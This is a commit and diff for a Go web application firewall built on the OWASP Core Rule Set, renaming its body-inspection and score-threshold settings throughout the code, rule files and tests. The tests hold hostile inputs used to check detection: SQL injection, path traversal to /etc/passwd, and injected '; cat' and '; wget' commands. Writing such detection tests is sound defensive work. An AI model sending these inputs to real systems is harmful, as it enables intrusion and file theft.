Rename the settings whose names do not say what they control (closes #234)

Applies the setting renames of the naming audit under the SWW_WAF_ and
SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache
time and the two time limits, which now take milliseconds. The rproxy
log field default_disposition becomes waf_backend_no_answer, and
config.Config and config.FromEnvironment become config.WAF and
config.WAFFromEnvironment. Go fields, test names and prose follow. No
aliases; nothing reads the old names.

Model: opus-5-5

internal/coreruleset/coreruleset.go

@@ -1,9 +1,9 @@
 // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
 // method, the URL with its query and the headers of a request, and on its
-// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the five changes sww
-// makes to it, the fixes for the apps SWW_WAF_APPS names, and the exclusions in
-// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
-// in SPEC.md describes them. It reads no response.
+// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
+// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
+// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
+// detection" under "Settings" in SPEC.md describes them. It reads no response.
 //
 // sww writes only to its state directory, so Coraza is built with
 // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -34,8 +34,8 @@ import (
 
 // directives are the Core Rule Set as sww runs it, with the
 // paranoia level for %d, bodyDirectives for the first %s while
-// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
-// and the directives of every app in apps for the third.
+// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
+// the second, and the directives of every app in apps for the third.
 // Each rule sww adds has an id from 900000 to 900999, the ids the
 // Core Rule Set keeps for the rules that set it up, which
 // SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
@@ -43,7 +43,7 @@ import (
 // without the spaces at the start of the next.
 const directives = `
 # The engine only detects. sww compares the request's anomaly
-# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
+# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
 # alike. It reads no body, unless bodyDirectives switch that on.
 SecRuleEngine DetectionOnly
 SecRequestBodyAccess Off
@@ -224,9 +224,10 @@ type Params struct {
 	// DisabledRules are the ids of the rules switched off
 	// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
 	DisabledRules []int
-	// BodyLimit is the most of a request body the Core Rule Set reads
-	// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
-	BodyLimit int64
+	// BodyInspectionSize is the most of a request body the Core Rule Set
+	// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
+	// and it reads none.
+	BodyInspectionSize int64
 	// ExclusionsFile is the path of a file of exclusions loaded before the
 	// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
 	// there is none.
@@ -336,8 +337,8 @@ func checkExclusions(exclusions string) error {
 // CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
 // for concurrent use.
 type CoreRuleSet struct {
-	engine    coraza.WAF
-	bodyLimit int64
+	engine             coraza.WAF
+	bodyInspectionSize int64
 	// appsByHostname are the names of the apps each hostname serves, by
 	// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
 	appsByHostname map[string][]string
@@ -345,14 +346,14 @@ type CoreRuleSet struct {
 
 // New returns the Core Rule Set with the five changes and the apps' fixes,
 // at params' paranoia level, without the rules it switches off, reading
-// request bodies up to params' limit, and with params' exclusions file
-// loaded before the Core Rule Set's rules. An exclusions file is an error
-// if it cannot be read or does not parse, or if checkExclusions refuses
-// it.
+// request bodies up to params' body inspection size, and with params'
+// exclusions file loaded before the Core Rule Set's rules. An exclusions
+// file is an error if it cannot be read or does not parse, or if
+// checkExclusions refuses it.
 func New(params Params) (*CoreRuleSet, error) {
 	body := ""
-	if params.BodyLimit > 0 {
-		body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
+	if params.BodyInspectionSize > 0 {
+		body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
 	}
 
 	exclusions := ""
@@ -396,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
 	}
 
 	return &CoreRuleSet{
-		engine:         engine,
-		bodyLimit:      params.BodyLimit,
-		appsByHostname: params.Apps,
+		engine:             engine,
+		bodyInspectionSize: params.BodyInspectionSize,
+		appsByHostname:     params.Apps,
 	}, nil
 }
 
@@ -481,18 +482,19 @@ func (c *CoreRuleSet) Inspect(
 }
 
 // readBody reads body, the body of the request in tx, which has run on
-// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
-// of a kind the Core Rule Set reads: form data and multipart, of which it
-// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
-// when they are no longer than that, since they cannot be read in part.
-// readBody reads one byte past the limit, to tell which they are, gives
-// the Core Rule Set what it reads, and returns what it read and the error
-// that ended the reading early, if one did.
+// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
+// set and the body is of a kind the Core Rule Set reads: form data and
+// multipart, of which it reads the first c.bodyInspectionSize bytes, and
+// JSON and XML, which it reads only when they are no longer than that,
+// since they cannot be read in part.
+// readBody reads one byte past c.bodyInspectionSize, to tell which they
+// are, gives the Core Rule Set what it reads, and returns what it read and
+// the error that ended the reading early, if one did.
 func (c *CoreRuleSet) readBody(
 	tx types.Transaction,
 	body io.Reader,
 ) ([]byte, error) {
-	if c.bodyLimit == 0 {
+	if c.bodyInspectionSize == 0 {
 		return nil, nil
 	}
 
@@ -509,9 +511,9 @@ func (c *CoreRuleSet) readBody(
 		return nil, nil
 	}
 
-	read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
+	read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
 
-	if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
+	if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
 		// Coraza holds what it reads of the body in memory, up to the
 		// limit, so this cannot fail.
 		_, _, _ = tx.WriteRequestBody(read)

internal/coreruleset/coreruleset_test.go

@@ -1089,7 +1089,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
 	const workers, perBody = 16, 10
 
 	crs, err := loaderFor(coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 	})()
 	if err != nil {
 		return nil, err
@@ -1166,15 +1167,18 @@ func misfiringPasswords(t *testing.T) []string {
 func wantRandomPasswordsPass(t *testing.T, r request, name string) {
 	t.Helper()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := readingBodies(t)
 	misfiring := misfiringPasswords(t)
 	names := []string{name}
 
 	body := passwordBody(t, r, names, misfiring...)
-	if len(body) > bodyLimit {
-		t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
+	if len(body) > bodyInspectionSize {
+		t.Fatalf(
+			"a body of %d bytes is cut at bodyInspectionSize",
+			len(body),
+		)
 	}
 
 	if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -1197,7 +1201,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
 func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
 	t.Helper()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	for _, attack := range []string{
 		"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
@@ -1217,7 +1221,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
 func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
 	t.Helper()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
 		body := passwordBody(t, r, []string{name}, attack)
@@ -1307,7 +1311,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
 func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := readingBodies(t)
 
@@ -1364,7 +1368,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
 func TestPasswordExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := readingBodies(t)
 
@@ -1400,7 +1404,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
 func TestGiteaAttacksAreRefused(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := atDefaults(t)
 
@@ -1480,7 +1484,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
 	}
 
 	// A command after a ";" in q is still refused on each of these paths.
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	for _, target := range []string{
 		"/alice?tab=repositories&q=",
@@ -1505,12 +1509,12 @@ const (
 )
 
 // readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
-// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
+// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
 func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
 	t.Helper()
 
 	return shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
 	})
 }
 
@@ -1572,7 +1576,7 @@ func wordpressAttackTargets(attack string) []string {
 func TestWordPressAttacksAreRefused(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
 
@@ -2310,8 +2314,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
 	wantBody(t, crs, signIn, body, matched(930120), body)
 }
 
-// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
-const bodyLimit = 8 << 10
+// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
+// tests that read bodies.
+const bodyInspectionSize = 8 << 10
 
 // The Content-Type headers of the kinds of body the Core Rule Set reads.
 const (
@@ -2334,12 +2339,13 @@ const pathTraversal = "../../etc/passwd"
 const shellCommand = "; wget http://example.com/x.sh"
 
 // readingBodies returns the Core Rule Set as sww runs it by
-// default, but reading bodies up to bodyLimit.
+// default, but reading bodies up to bodyInspectionSize.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
 	t.Helper()
 
 	return shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 	})
 }
 
@@ -2393,7 +2399,7 @@ func wantBody(
 	}
 }
 
-func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
+func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
 	t.Parallel()
 
 	off, on := atDefaults(t), readingBodies(t)
@@ -2413,7 +2419,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 	t.Parallel()
 
 	crs := readingBodies(t)
-	pad := strings.Repeat("a", bodyLimit)
+	pad := strings.Repeat("a", bodyInspectionSize)
 
 	for _, tc := range []struct{ header, attackFirst, attackLast string }{
 		{
@@ -2426,20 +2432,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 		},
 	} {
 		wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
-			tc.attackFirst[:bodyLimit+1])
+			tc.attackFirst[:bodyInspectionSize+1])
 		wantBody(
 			t,
 			crs,
 			post(tc.header),
 			tc.attackLast,
 			coreruleset.Result{},
-			tc.attackLast[:bodyLimit+1],
+			tc.attackLast[:bodyInspectionSize+1],
 		)
 	}
 
 	// To the byte: a system file's path is found when it ends at the limit,
 	// and not when its last letter is past it, which is still read.
-	atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
+	atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
 	wantBody(
 		t,
 		crs,
@@ -2449,7 +2455,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 		atLimit,
 	)
 
-	pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
+	pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
 	wantBody(
 		t,
 		crs,
@@ -2469,10 +2475,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
 		{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
 		{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
 	} {
-		fits := padded(tc.head, tc.tail, bodyLimit)
+		fits := padded(tc.head, tc.tail, bodyInspectionSize)
 		wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
 
-		larger := padded(tc.head, tc.tail, bodyLimit+1)
+		larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
 		wantBody(
 			t,
 			crs,
@@ -2529,7 +2535,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
 
 	// Whatever its size: a JSON body larger than the limit is not read, but
 	// Content-Encoding on it is refused all the same.
-	larger := strings.Repeat("a", bodyLimit+1)
+	larger := strings.Repeat("a", bodyInspectionSize+1)
 	wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
 
 	// It is allowed on a body of any other kind, and on every body while no
@@ -2748,7 +2754,7 @@ func giteaBranchNamesInBodies() []nameInBody {
 func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := readingBodies(t)
 
@@ -2849,7 +2855,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
 	// that has no colon, before the attack. They do so padded past the
 	// limit too, which cuts them in the padding.
 	noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
-	pad := field("pad", strings.Repeat("a", bodyLimit))
+	pad := field("pad", strings.Repeat("a", bodyInspectionSize))
 
 	for _, tc := range []struct{ header, head string }{
 		{multipart + "; boundary=c", ""},
@@ -2867,7 +2873,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
 
 		body = tc.head + field("q", injection) + pad + end
 		wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
-			body[:bodyLimit+1])
+			body[:bodyInspectionSize+1])
 	}
 }
 
@@ -2880,7 +2886,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
 	cut := "--b\r\nContent-Di"
 	first := field(
 		"pad",
-		strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
+		strings.Repeat(
+			"a",
+			bodyInspectionSize-len(field("pad", ""))-len(cut),
+		),
 	)
 	body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
 
@@ -2890,7 +2899,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
 		post(multipart),
 		body,
 		matched(900440, 900450),
-		body[:bodyLimit+1],
+		body[:bodyInspectionSize+1],
 	)
 }
 
@@ -2909,12 +2918,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
 	for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
 		first := field(
 			"pad",
-			strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
+			strings.Repeat(
+				"a",
+				bodyInspectionSize-len(field("pad", ""))-cut,
+			),
 		)
 		body := first + field("q", "1") + end
 
 		wantBody(t, crs, post(multipart), body, matched(900440, 900450),
-			body[:bodyLimit+1])
+			body[:bodyInspectionSize+1])
 	}
 }
 
@@ -2929,7 +2941,8 @@ func TestCorazaWritesNoFile(t *testing.T) {
 	// The test loads its own Core Rule Set, since loading is part of what
 	// it checks.
 	crs, err := coreruleset.New(coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 	})
 	if err != nil {
 		t.Fatalf("load the Core Rule Set: %v", err)
@@ -2941,11 +2954,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
 	wantBody(t, crs, post(multipart), body, matched(942100), body)
 }
 
-func TestBodyLimitOf1GLoads(t *testing.T) {
+func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
 	t.Parallel()
 
 	_, err := coreruleset.New(
-		coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
+		coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
 	)
 	if err != nil {
 		t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)

internal/coreruleset/drupal.conf

@@ -4,7 +4,7 @@
 # request, before the rules it switches off, so this file is loaded before the
 # Core Rule Set's rules. Each comment names a request a rule refused. An
 # exclusion on a field of a body applies only when the query has no parameter
-# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
+# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
 # set. The exclusions above the comment "The fields below are in bodies" also
 # cover a body field of the same name whatever the query holds, and only those
 # below it need a query without that name.

internal/coreruleset/drupal_test.go

@@ -9,7 +9,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
-// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
+// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
 const drupalThreshold = 5
 
 // drupalAddArticle is Drupal's form for a new article.

internal/coreruleset/forgejo.conf

@@ -132,7 +132,7 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \
 # They skip these rules:
 #   932120: fix-powershell-module
 #   932260: feat/docker-support
-# They are read only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, and skip
+# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
 # nothing when the query has a parameter of the same name.
 SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
     "id:900666,phase:1,pass,nolog,chain"

internal/coreruleset/forgejo_test.go

@@ -91,7 +91,7 @@ var forgejoAttacks = []string{
 func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	defaults, bodies := atDefaults(t), readingBodies(t)
 
@@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
 func TestForgejoExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := atDefaults(t)
 

internal/coreruleset/ghost.conf

@@ -3,7 +3,7 @@
 # rules it switches off, so this file is loaded before the Core Rule Set's
 # rules. Each comment names a request a rule refused. An exclusion on a field of
 # a body applies only when the query has no parameter of that name, so it
-# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
+# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
 #
 # Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
 # themes and Ghost's own scripts call the Content API under /ghost/api/content/,

internal/coreruleset/ghost_test.go

@@ -11,7 +11,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
-// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
+// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
 const ghostThreshold = 5
 
 // Paths of Ghost's Admin API, Content API and members' API.

internal/coreruleset/gitea.conf

@@ -394,7 +394,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
     "id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
 
 # The requests below name a file or a branch in a body field, which is read only
-# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Each field skips the rules that
+# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that
 # refused it.
 # Each field below that names a branch skips these rules:
 #   932120: fix-powershell-module

internal/coreruleset/gitea_test.go

@@ -85,7 +85,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
 func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := readingBodies(t)
 
@@ -146,7 +146,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
 func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	defaults, bodies := atDefaults(t), readingBodies(t)
 
@@ -170,7 +170,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
 func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := atDefaults(t)
 

internal/coreruleset/mastodon.conf

@@ -5,7 +5,7 @@
 # file is loaded before the Core Rule Set's rules. Each comment names a request
 # a rule refused. An exclusion on a field of a body applies only when the query
 # has no parameter of that name, so it matters only while
-# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
+# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
 #
 # Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
 # resources under them count as Mastodon's paths.

internal/coreruleset/mastodon_test.go

@@ -12,7 +12,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
-// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
+// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
 const mastodonThreshold = 5
 
 // mastodonStatuses is where Mastodon's apps and web app post.

internal/coreruleset/mediawiki.conf

@@ -5,7 +5,7 @@
 # request, before the rules it switches off, so this file is loaded before the
 # Core Rule Set's rules. Each comment names a request a rule refused. An
 # exclusion on a field of a body applies only when the query has no parameter of
-# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
+# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
 # MediaWiki's paths are matched at the site root and under /w/.
 #
 # WordPress serves /index.php too. So /index.php counts as MediaWiki's only

internal/coreruleset/mediawiki_test.go

@@ -9,7 +9,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
-// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
+// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
 const mediawikiThreshold = 5
 
 // mediawiki is MediaWiki's name in SWW_WAF_APPS.
@@ -76,7 +76,8 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {mediawiki},
@@ -120,7 +121,8 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {mediawiki},

internal/coreruleset/nextcloud.conf

@@ -5,7 +5,7 @@
 # switches off, so this file is loaded before the Core Rule Set's rules. Each
 # comment names a request a rule refused. An exclusion on a field of a JSON body
 # applies only when the query has no parameter of that name, so it matters only
-# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
+# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
 # at the site root and under /index.php/, where a Nextcloud without pretty URLs
 # serves them.
 #

internal/coreruleset/nextcloud_test.go

@@ -13,7 +13,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
-// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
+// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
 const nextcloudThreshold = 5
 
 // nextcloudSignIn is the sign-in page.
@@ -102,7 +102,8 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {nextcloud},
@@ -528,7 +529,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
 func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	crs := readingBodies(t)
 	target := nextcloudUsers + "/alice"

internal/coreruleset/recorded_test.go

@@ -57,7 +57,7 @@ func giteaRequests(t *testing.T) []request {
 func TestOrdinaryGiteaRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	requests := giteaRequests(t)
 	giteaOnly := map[string][]string{giteaHost: {gitea}}
@@ -133,7 +133,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
 func wantRecordedRequestsPass(t *testing.T, name, app string) {
 	t.Helper()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
 	requests := recordedRequests(t, name)
 
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
 		defaults := servingApps(t, apps)
 		bodies := shared(t, coreruleset.Params{
 			ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
-			BodyLimit: bodyLimit, Apps: apps,
+			BodyInspectionSize: bodyInspectionSize, Apps: apps,
 		})
 
 		for _, recorded := range requests {
@@ -214,7 +214,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
 func TestOrdinaryForgejoRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
 
